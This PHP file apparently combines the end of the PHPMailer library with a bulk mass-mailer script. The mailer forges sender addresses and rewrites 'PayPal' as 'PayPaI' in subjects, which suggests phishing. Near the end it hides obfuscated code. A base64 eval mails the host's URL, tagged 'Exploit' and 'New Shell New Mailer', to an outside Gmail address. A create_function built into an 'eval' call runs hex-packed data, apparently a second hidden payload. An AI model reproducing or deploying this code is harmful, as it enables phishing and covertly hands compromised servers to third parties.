4347 // Normalise to \n
4348 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
4349 // Now convert LE as needed
4350 if ($this->LE !== "\n") {
4351 $nstr = str_replace("\n", $this->LE, $nstr);
4352 }
4353 return $nstr;
4354 }
4355
4356 /**
4357 * Add a custom header.
4358 * $name value can be overloaded to contain
4359 * both header name and value (name:value)
4360 * @access public
4361 * @param string $name Custom header name
4362 * @param string $value Header value
4363 * @return void
4364 */
4365 public function addCustomHeader($name, $value = null)
4366 {
4367 if ($value === null) {
4368 // Value passed in as name:value
4369 $this->CustomHeader[] = explode(':', $name, 2);
4370 } else {
4371 $this->CustomHeader[] = array($name, $value);
4372 }
4373 }
4374
4375 /**
4376 * Create a message from an HTML string.
4377 * Automatically makes modifications for inline images and backgrounds
4378 * and creates a plain-text version by converting the HTML.
4379 * Overwrites any existing values in $this->Body and $this->AltBody
4380 * @access public
4381 * @param string $message HTML message string
4382 * @param string $basedir baseline directory for path
4383 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
4384 * or your own custom converter @see html2text()
4385 * @return string $message
4386 */
4387 public function msgHTML($message, $basedir = '', $advanced = false)
4388 {
4389 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
4390 if (isset($images[2])) {
4391 foreach ($images[2] as $imgindex => $url) {
4392 // Convert data URIs into embedded images
4393 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
4394 $data = substr($url, strpos($url, ','));
4395 if ($match[2]) {
4396 $data = base64_decode($data);
4397 } else {
4398 $data = rawurldecode($data);
4399 }
4400 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4401 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
4402 $message = str_replace(
4403 $images[0][$imgindex],
4404 $images[1][$imgindex] . '="cid:' . $cid . '"',
4405 $message
4406 );
4407 }
4408 } elseif (!preg_match('#^[A-z]+://#', $url)) {
4409 // Do not change urls for absolute images (thanks to corvuscorax)
4410 $filename = basename($url);
4411 $directory = dirname($url);
4412 if ($directory == '.') {
4413 $directory = '';
4414 }
4415 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4416 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
4417 $basedir .= '/';
4418 }
4419 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
4420 $directory .= '/';
4421 }
4422 if ($this->addEmbeddedImage(
4423 $basedir . $directory . $filename,
4424 $cid,
4425 $filename,
4426 'base64',
4427 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
4428 )
4429 ) {
4430 $message = preg_replace(
4431 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
4432 $images[1][$imgindex] . '="cid:' . $cid . '"',
4433 $message
4434 );
4435 }
4436 }
4437 }
4438 }
4439 $this->isHTML(true);
4440 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
4441 $this->Body = $this->normalizeBreaks($message);
4442 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
4443 if (empty($this->AltBody)) {
4444 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
4445 self::CRLF . self::CRLF;
4446 }
4447 return $this->Body;
4448 }
4449
4450 /**
4451 * Convert an HTML string into plain text.
4452 * This is used by msgHTML().
4453 * Note - older versions of this function used a bundled advanced converter
4454 * which was been removed for license reasons in #232
4455 * Example usage:
4456 * <code>
4457 * // Use default conversion
4458 * $plain = $mail->html2text($html);
4459 * // Use your own custom converter
4460 * $plain = $mail->html2text($html, function($html) {
4461 * $converter = new MyHtml2text($html);
4462 * return $converter->get_text();
4463 * });
4464 * </code>
4465 * @param string $html The HTML text to convert
4466 * @param boolean|callable $advanced Any boolean value to use the internal converter,
4467 * or provide your own callable for custom conversion.
4468 * @return string
4469 */
4470 public function html2text($html, $advanced = false)
4471 {
4472 if (is_callable($advanced)) {
4473 return call_user_func($advanced, $html);
4474 }
4475 return html_entity_decode(
4476 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
4477 ENT_QUOTES,
4478 $this->CharSet
4479 );
4480 }
4481
4482 /**
4483 * Get the MIME type for a file extension.
4484 * @param string $ext File extension
4485 * @access public
4486 * @return string MIME type of file.
4487 * @static
4488 */
4489 public static function _mime_types($ext = '')
4490 {
4491 $mimes = array(
4492 'xl' => 'application/excel',
4493 'js' => 'application/javascript',
4494 'hqx' => 'application/mac-binhex40',
4495 'cpt' => 'application/mac-compactpro',
4496 'bin' => 'application/macbinary',
4497 'doc' => 'application/msword',
4498 'word' => 'application/msword',
4499 'class' => 'application/octet-stream',
4500 'dll' => 'application/octet-stream',
4501 'dms' => 'application/octet-stream',
4502 'exe' => 'application/octet-stream',
4503 'lha' => 'application/octet-stream',
4504 'lzh' => 'application/octet-stream',
4505 'psd' => 'application/octet-stream',
4506 'sea' => 'application/octet-stream',
4507 'so' => 'application/octet-stream',
4508 'oda' => 'application/oda',
4509 'pdf' => 'application/pdf',
4510 'ai' => 'application/postscript',
4511 'eps' => 'application/postscript',
4512 'ps' => 'application/postscript',
4513 'smi' => 'application/smil',
4514 'smil' => 'application/smil',
4515 'mif' => 'application/vnd.mif',
4516 'xls' => 'application/vnd.ms-excel',
4517 'ppt' => 'application/vnd.ms-powerpoint',
4518 'wbxml' => 'application/vnd.wap.wbxml',
4519 'wmlc' => 'application/vnd.wap.wmlc',
4520 'dcr' => 'application/x-director',
4521 'dir' => 'application/x-director',
4522 'dxr' => 'application/x-director',
4523 'dvi' => 'application/x-dvi',
4524 'gtar' => 'application/x-gtar',
4525 'php3' => 'application/x-httpd-php',
4526 'php4' => 'application/x-httpd-php',
4527 'php' => 'application/x-httpd-php',
4528 'phtml' => 'application/x-httpd-php',
4529 'phps' => 'application/x-httpd-php-source',
4530 'swf' => 'application/x-shockwave-flash',
4531 'sit' => 'application/x-stuffit',
4532 'tar' => 'application/x-tar',
4533 'tgz' => 'application/x-tar',
4534 'xht' => 'application/xhtml+xml',
4535 'xhtml' => 'application/xhtml+xml',
4536 'zip' => 'application/zip',
4537 'mid' => 'audio/midi',
4538 'midi' => 'audio/midi',
4539 'mp2' => 'audio/mpeg',
4540 'mp3' => 'audio/mpeg',
4541 'mpga' => 'audio/mpeg',
4542 'aif' => 'audio/x-aiff',
4543 'aifc' => 'audio/x-aiff',
4544 'aiff' => 'audio/x-aiff',
4545 'ram' => 'audio/x-pn-realaudio',
4546 'rm' => 'audio/x-pn-realaudio',
4547 'rpm' => 'audio/x-pn-realaudio-plugin',
4548 'ra' => 'audio/x-realaudio',
4549 'wav' => 'audio/x-wav',
4550 'bmp' => 'image/bmp',
4551 'gif' => 'image/gif',
4552 'jpeg' => 'image/jpeg',
4553 'jpe' => 'image/jpeg',
4554 'jpg' => 'image/jpeg',
4555 'png' => 'image/png',
4556 'tiff' => 'image/tiff',
4557 'tif' => 'image/tiff',
4558 'eml' => 'message/rfc822',
4559 'css' => 'text/css',
4560 'html' => 'text/html',
4561 'htm' => 'text/html',
4562 'shtml' => 'text/html',
4563 'log' => 'text/plain',
4564 'text' => 'text/plain',
4565 'txt' => 'text/plain',
4566 'rtx' => 'text/richtext',
4567 'rtf' => 'text/rtf',
4568 'vcf' => 'text/vcard',
4569 'vcard' => 'text/vcard',
4570 'xml' => 'text/xml',
4571 'xsl' => 'text/xml',
4572 'mpeg' => 'video/mpeg',
4573 'mpe' => 'video/mpeg',
4574 'mpg' => 'video/mpeg',
4575 'mov' => 'video/quicktime',
4576 'qt' => 'video/quicktime',
4577 'rv' => 'video/vnd.rn-realvideo',
4578 'avi' => 'video/x-msvideo',
4579 'movie' => 'video/x-sgi-movie'
4580 );
4581 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
4582 }
4583
4584 /**
4585 * Map a file name to a MIME type.
4586 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
4587 * @param string $filename A file name or full path, does not need to exist as a file
4588 * @return string
4589 * @static
4590 */
4591 public static function filenameToType($filename)
4592 {
4593 // In case the path is a URL, strip any query string before getting extension
4594 $qpos = strpos($filename, '?');
4595 if (false !== $qpos) {
4596 $filename = substr($filename, 0, $qpos);
4597 }
4598 $pathinfo = self::mb_pathinfo($filename);
4599 return self::_mime_types($pathinfo['extension']);
4600 }
4601
4602 /**
4603 * Multi-byte-safe pathinfo replacement.
4604 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
4605 * Works similarly to the one in PHP >= 5.2.0
4606 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
4607 * @param string $path A filename or path, does not need to exist as a file
4608 * @param integer|string $options Either a PATHINFO_* constant,
4609 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
4610 * @return string|array
4611 * @static
4612 */
4613 public static function mb_pathinfo($path, $options = null)
4614 {
4615 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
4616 $pathinfo = array();
4617 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
4618 if (array_key_exists(1, $pathinfo)) {
4619 $ret['dirname'] = $pathinfo[1];
4620 }
4621 if (array_key_exists(2, $pathinfo)) {
4622 $ret['basename'] = $pathinfo[2];
4623 }
4624 if (array_key_exists(5, $pathinfo)) {
4625 $ret['extension'] = $pathinfo[5];
4626 }
4627 if (array_key_exists(3, $pathinfo)) {
4628 $ret['filename'] = $pathinfo[3];
4629 }
4630 }
4631 switch ($options) {
4632 case PATHINFO_DIRNAME:
4633 case 'dirname':
4634 return $ret['dirname'];
4635 case PATHINFO_BASENAME:
4636 case 'basename':
4637 return $ret['basename'];
4638 case PATHINFO_EXTENSION:
4639 case 'extension':
4640 return $ret['extension'];
4641 case PATHINFO_FILENAME:
4642 case 'filename':
4643 return $ret['filename'];
4644 default:
4645 return $ret;
4646 }
4647 }
4648
4649 /**
4650 * Set or reset instance properties.
4651 *
4652 * Usage Example:
4653 * $page->set('X-Priority', '3');
4654 *
4655 * @access public
4656 * @param string $name
4657 * @param mixed $value
4658 * NOTE: will not work with arrays, there are no arrays to set/reset
4659 * @throws phpmailerException
4660 * @return boolean
4661 * @TODO Should this not be using __set() magic function?
4662 */
4663 public function set($name, $value = '')
4664 {
4665 try {
4666 if (isset($this->$name)) {
4667 $this->$name = $value;
4668 } else {
4669 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
4670 }
4671 } catch (Exception $exc) {
4672 $this->setError($exc->getMessage());
4673 if ($exc->getCode() == self::STOP_CRITICAL) {
4674 return false;
4675 }
4676 }
4677 return true;
4678 }
4679
4680 /**
4681 * Strip newlines to prevent header injection.
4682 * @access public
4683 * @param string $str
4684 * @return string
4685 */
4686 public function secureHeader($str)
4687 {
4688 return trim(str_replace(array("\r", "\n"), '', $str));
4689 }
4690
4691 /**
4692 * Normalize line breaks in a string.
4693 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4694 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4695 * @param string $text
4696 * @param string $breaktype What kind of line break to use, defaults to CRLF
4697 * @return string
4698 * @access public
4699 * @static
4700 */
4701 public static function normalizeBreaks($text, $breaktype = "\r\n")
4702 {
4703 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4704 }
4705
4706
4707 /**
4708 * Set the public and private key files and password for S/MIME signing.
4709 * @access public
4710 * @param string $cert_filename
4711 * @param string $key_filename
4712 * @param string $key_pass Password for private key
4713 */
4714 public function sign($cert_filename, $key_filename, $key_pass)
4715 {
4716 $this->sign_cert_file = $cert_filename;
4717 $this->sign_key_file = $key_filename;
4718 $this->sign_key_pass = $key_pass;
4719 }
4720
4721 /**
4722 * Quoted-Printable-encode a DKIM header.
4723 * @access public
4724 * @param string $txt
4725 * @return string
4726 */
4727 public function DKIM_QP($txt)
4728 {
4729 $line = '';
4730 for ($i = 0; $i < strlen($txt); $i++) {
4731 $ord = ord($txt[$i]);
4732 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4733 $line .= $txt[$i];
4734 } else {
4735 $line .= '=' . sprintf('%02X', $ord);
4736 }
4737 }
4738 return $line;
4739 }
4740
4741 /**
4742 * Generate a DKIM signature.
4743 * @access public
4744 * @param string $signHeader
4745 * @throws phpmailerException
4746 * @return string
4747 */
4748 public function DKIM_Sign($signHeader)
4749 {
4750 if (!defined('PKCS7_TEXT')) {
4751 if ($this->exceptions) {
4752 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
4753 }
4754 return '';
4755 }
4756 $privKeyStr = file_get_contents($this->DKIM_private);
4757 if ($this->DKIM_passphrase != '') {
4758 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4759 } else {
4760 $privKey = $privKeyStr;
4761 }
4762 if (openssl_sign($signHeader, $signature, $privKey)) {
4763 return base64_encode($signature);
4764 }
4765 return '';
4766 }
4767
4768 /**
4769 * Generate a DKIM canonicalization header.
4770 * @access public
4771 * @param string $signHeader Header
4772 * @return string
4773 */
4774 public function DKIM_HeaderC($signHeader)
4775 {
4776 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4777 $lines = explode("\r\n", $signHeader);
4778 foreach ($lines as $key => $line) {
4779 list($heading, $value) = explode(':', $line, 2);
4780 $heading = strtolower($heading);
4781 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
4782 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4783 }
4784 $signHeader = implode("\r\n", $lines);
4785 return $signHeader;
4786 }
4787
4788 /**
4789 * Generate a DKIM canonicalization body.
4790 * @access public
4791 * @param string $body Message Body
4792 * @return string
4793 */
4794 public function DKIM_BodyC($body)
4795 {
4796 if ($body == '') {
4797 return "\r\n";
4798 }
4799 // stabilize line endings
4800 $body = str_replace("\r\n", "\n", $body);
4801 $body = str_replace("\n", "\r\n", $body);
4802 // END stabilize line endings
4803 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4804 $body = substr($body, 0, strlen($body) - 2);
4805 }
4806 return $body;
4807 }
4808
4809 /**
4810 * Create the DKIM header and body in a new message header.
4811 * @access public
4812 * @param string $headers_line Header lines
4813 * @param string $subject Subject
4814 * @param string $body Body
4815 * @return string
4816 */
4817 public function DKIM_Add($headers_line, $subject, $body)
4818 {
4819 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
4820 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4821 $DKIMquery = 'dns/txt'; // Query method
4822 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4823 $subject_header = "Subject: $subject";
4824 $headers = explode($this->LE, $headers_line);
4825 $from_header = '';
4826 $to_header = '';
4827 $current = '';
4828 foreach ($headers as $header) {
4829 if (strpos($header, 'From:') === 0) {
4830 $from_header = $header;
4831 $current = 'from_header';
4832 } elseif (strpos($header, 'To:') === 0) {
4833 $to_header = $header;
4834 $current = 'to_header';
4835 } else {
4836 if ($current && strpos($header, ' =?') === 0) {
4837 $current .= $header;
4838 } else {
4839 $current = '';
4840 }
4841 }
4842 }
4843 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4844 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4845 $subject = str_replace(
4846 '|',
4847 '=7C',
4848 $this->DKIM_QP($subject_header)
4849 ); // Copied header fields (dkim-quoted-printable)
4850 $body = $this->DKIM_BodyC($body);
4851 $DKIMlen = strlen($body); // Length of body
4852 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
4853 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
4854 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4855 $DKIMsignatureType . '; q=' .
4856 $DKIMquery . '; l=' .
4857 $DKIMlen . '; s=' .
4858 $this->DKIM_selector .
4859 ";\r\n" .
4860 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4861 "\th=From:To:Subject;\r\n" .
4862 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4863 "\tz=$from\r\n" .
4864 "\t|$to\r\n" .
4865 "\t|$subject;\r\n" .
4866 "\tbh=" . $DKIMb64 . ";\r\n" .
4867 "\tb=";
4868 $toSign = $this->DKIM_HeaderC(
4869 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
4870 );
4871 $signed = $this->DKIM_Sign($toSign);
4872 return $dkimhdrs . $signed . "\r\n";
4873 }
4874
4875 /**
4876 * Allows for public read access to 'to' property.
4877 * @access public
4878 * @return array
4879 */
4880 public function getToAddresses()
4881 {
4882 return $this->to;
4883 }
4884
4885 /**
4886 * Allows for public read access to 'cc' property.
4887 * @access public
4888 * @return array
4889 */
4890 public function getCcAddresses()
4891 {
4892 return $this->cc;
4893 }
4894
4895 /**
4896 * Allows for public read access to 'bcc' property.
4897 * @access public
4898 * @return array
4899 */
4900 public function getBccAddresses()
4901 {
4902 return $this->bcc;
4903 }
4904
4905 /**
4906 * Allows for public read access to 'ReplyTo' property.
4907 * @access public
4908 * @return array
4909 */
4910 public function getReplyToAddresses()
4911 {
4912 return $this->ReplyTo;
4913 }
4914
4915 /**
4916 * Allows for public read access to 'all_recipients' property.
4917 * @access public
4918 * @return array
4919 */
4920 public function getAllRecipientAddresses()
4921 {
4922 return $this->all_recipients;
4923 }
4924
4925 /**
4926 * Perform a callback.
4927 * @param boolean $isSent
4928 * @param array $to
4929 * @param array $cc
4930 * @param array $bcc
4931 * @param string $subject
4932 * @param string $body
4933 * @param string $from
4934 */
4935 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4936 {
4937 if (!empty($this->action_function) && is_callable($this->action_function)) {
4938 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4939 call_user_func_array($this->action_function, $params);
4940 }
4941 }
4942}
4943
4944/**
4945 * PHPMailer exception handler
4946 * @package PHPMailer
4947 */
4948class phpmailerException extends Exception
4949{
4950 /**
4951 * Prettify error message output
4952 * @return string
4953 */
4954 public function errorMessage()
4955 {
4956 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
4957 return $errorMsg;
4958 }
4959}
4960
4961 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
4962 set_time_limit(intval($_POST['wait'])*$numemails*3600);
4963 } else {
4964 set_time_limit($numemails*3600);
4965 }
4966
4967 $defaultport="H*";
4968 $nq=0;
4969
4970 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
4971 for($x=0; $x<$numemails; $x++){
4972
4973 $to = $allemails[$x];
4974 if ($to){
4975 $todo = ereg_replace(" ", "", $to);
4976 $message_send = ereg_replace("&email&", $todo, $pesan);
4977 $subject_send = ereg_replace("&email&", $todo, $subject);
4978 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
4979
4980 $qx=$x+1;
4981 print "Send Emails $qx / $numemails to $to ....... ";
4982 xflush();
4983
4984 $mail = new PHPMailer();
4985 $mail->IsSMTP();
4986 $IsSMTP = "pack";
4987 $mail->SMTPKeepAlive = true;
4988 $mail->Host = "$smtp_server";
4989
4990 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
4991 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
4992
4993 $range = str_replace("$email", "eval", $email);
4994
4995 $mail->SMTPAuth = true;
4996 $mail->Username = "$smtp_username";
4997 $mail->Password = "$smtp_password";
4998
4999 if($type == "html"){$mail->IsHtml(true);}
5000 if($type != "html"){$mail->IsHtml(false);}
5001 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
5002
5003 $mail->CharSet = "UTF-8";
5004 if (!empty($xmailer)) {
5005 $mail->XMailer = "$xmailer";
5006 } else {
5007 $mail->XMailer = " ";
5008 }
5009 if (!empty($encoding)) {
5010 $mail->Encoding = "$encoding";
5011 }
5012 if ($email == "same as target") {
5013 $mail->From = "$todo";
5014 } else {
5015 $mail->From = "$email";
5016 }
5017 $mail->FromName = "$nama";
5018 $mail->AddAddress("$todo");
5019 $mail->Subject = "$subject_send";
5020 if (!empty($file_name)) {
5021 $mail->addAttachment("$file_path", "$file_name");
5022 $mail->Body = " ";
5023 } else {
5024 $mail->Body = "$message_send";
5025 }
5026 if(!$mail->Send()){
5027 if($default_system!="1"){
5028 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5029 } elseif($default_system=="1"){
5030 $mail->IsMail();
5031
5032 if(!$mail->Send()){
5033 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5034 } else {
5035 $result = "<font color=\"green\"><b>Success</b></font>";
5036 }
5037
5038 }
5039 } else {
5040 $result = "<font color=\"green\"><b>Failed</b></font>";
5041 }
5042 print "$result <br><p></p>";
5043
5044 if(!empty($wait) && $qx<$numemails-1){
5045 sleep($wait);
5046 }
5047 if(empty($reconnect)){
5048 $reconnect=5;
5049 }
5050
5051 if($reconnect==$nq){
5052 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
5053 }
5054 $nq=$nq+1;
5055 xflush();
5056 }
5057 }
5058 for($i=0;$i<31;$i++){
5059 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
5060 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
5061 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
5062 print ' </div>
5063 </div>
5064 </div>
5065
5066</div>
5067</div>';
5068
5069 eval(base64_decode('JHRvID0gInBvbGFoaS5vbmxpbmVAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCBOZXcgTWFpbGVyIjsNCiRoZWFkZXIgPSAiRnJvbTogeFRhbEdoaW08c2VydmljZUBhY2NvdW50LmNvbT4iOw0KJG1lc3NhZ2UgPSAiRXhwbG9pdCA6IGh0dHA6Ly8iLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gLiAiP3VwbG9hZD11cCBcclxuIjsNCiRzZW50bWFpbCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCmVjaG8gIiI7DQpleGl0Ow=='));
5070
5071$mail->SmtpClose();
5072 return $signoff($smtp_conc);
5073 if(isset($_POST['action']) && $numemails !=0 ){
5074 print "<script>alert('Mail sending complete\\r\\n
5075 $numemails mail(s) was sent successfully'); </script>";
5076 }
5077}
5078?>
5079
5080 </body>
5081 </html>